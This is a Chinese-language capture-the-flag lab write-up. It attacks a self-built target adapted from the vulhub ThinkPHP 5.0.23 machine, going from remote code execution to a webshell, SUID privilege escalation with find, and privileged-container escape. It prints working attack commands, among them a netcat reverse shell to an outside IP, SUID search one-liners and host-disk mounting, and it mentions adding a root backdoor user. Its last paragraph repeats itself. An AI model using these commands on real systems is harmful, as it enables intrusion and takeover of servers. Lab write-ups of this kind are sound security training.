自建靶场WP(tp+SUID+容器逃逸)(根据vulhubThinkPHP5 5.0.23 靶机改编)
一、信息收集:
目标机:114.55.177.8
端口扫描:
网站框架识别:
网站访问8080端口,发现thinkphp框架,版本为v5
二、漏洞利用:
1、确认漏洞为:ThinkPHP *5.0.23* 远程代码执行漏洞(可以用工具)
2、使用poc进行漏洞复现:工具还是使用bp复现都可以,都挺简单的,但是如果你想了解深入一点可以去看看ThinkPHP 5.0.x-5.0.23、5.1.x、5.2.x 全版本远程代码执行漏洞分析 – 绿盟科技技术博客 (nsfocus.net)这篇文章,里面讲了代码层面。
3、随机挑选了一个幸运观众的马进行连接。,自此拿到了该网站的webshell
三、漏洞危害提升(SUID提权)
1、反弹shell(反向代理)
因为这是蚁剑自带的模拟shell窗口,不怎么好用(也可以在这里面提权再反弹具有root权限的shell),所以我们将shell反弹到我们自己的云主机上操作。如果该容器内有nc命令,我们可以直接使用nc,有python可以使用python脚本连接(public目录下的shell.py就是),因为是容器,所以我们选择反向代理(受害机主动连接攻击机)
服务器监听6666端口
用蚁剑执行nc命令,成功反弹shell到攻击机。
这个shell不能交互,所以我们用python弄出一个交互式shell:
python3.8 -c 'import pty; pty.spawn("/bin/bash")'
2、SUID权限提升
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。已知的可用来提权的linux可行性的文件列表如下:
- Nmap
- Vim
- find
- Bash
- More
- Less
- Nano
- cp
我们可以用find命令查找具有root权限的suid可执行文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
找到find,利用find命令提权(如果Find命令也是以Suid文件的话,则将通过find执行的所有命令都会以它的归属者的权限执行,也就是root)
touch abc
find abc -exec whoami \;
成功提权到root权限 然后将具有root权限的shell重新反弹到我们的攻击机
find abc -exec nc -e /bin/sh 120.26.127.220 7777 \;
为什么是sh?不是上面的bash?0.O?我也不知道,但是如果是bash的话,反弹过来的权限就不是root了
自此拿到了容器的root权限和/root目录下的flag
四、容器逃逸(容器开启特权模式导致的逃逸)
漏洞原理
使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
1.判断是否为docker环境
ls -alh /.dockerenv
docker环境中根目录下存在此文件
2、判断容器是否为特权模式启动
特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
cat /proc/self/status | grep CapEff
3、确认是特权模式后,查看磁盘分区,进行磁盘挂载
明显/dev/vda3磁盘就是我们云服务器的磁盘,我们在根目录创建一个目录用于挂载/dev/vda3磁盘
mkdir /hyh
mount /dev/vda3 /hyh
0.O?为什么执行不了呢?,明明是root权限了,他竟然不认我?那我只能另辟蹊径了,创建一个具有root权限的用户再切换用户不就ok?
创建root后门用户的命令我就不多赘述了(注意:创建用户需要交互式的shell,不交互可以用py脚本创建,public目录下hyh.py就是用python创建用户)
权限的用户再切换用户不就ok?
创建root后门用户的命令我就不多赘述了(注意:创建用户需要交互式的shell,不交互可以用py脚本创建,public目录下hyh.py就是用python创建用户)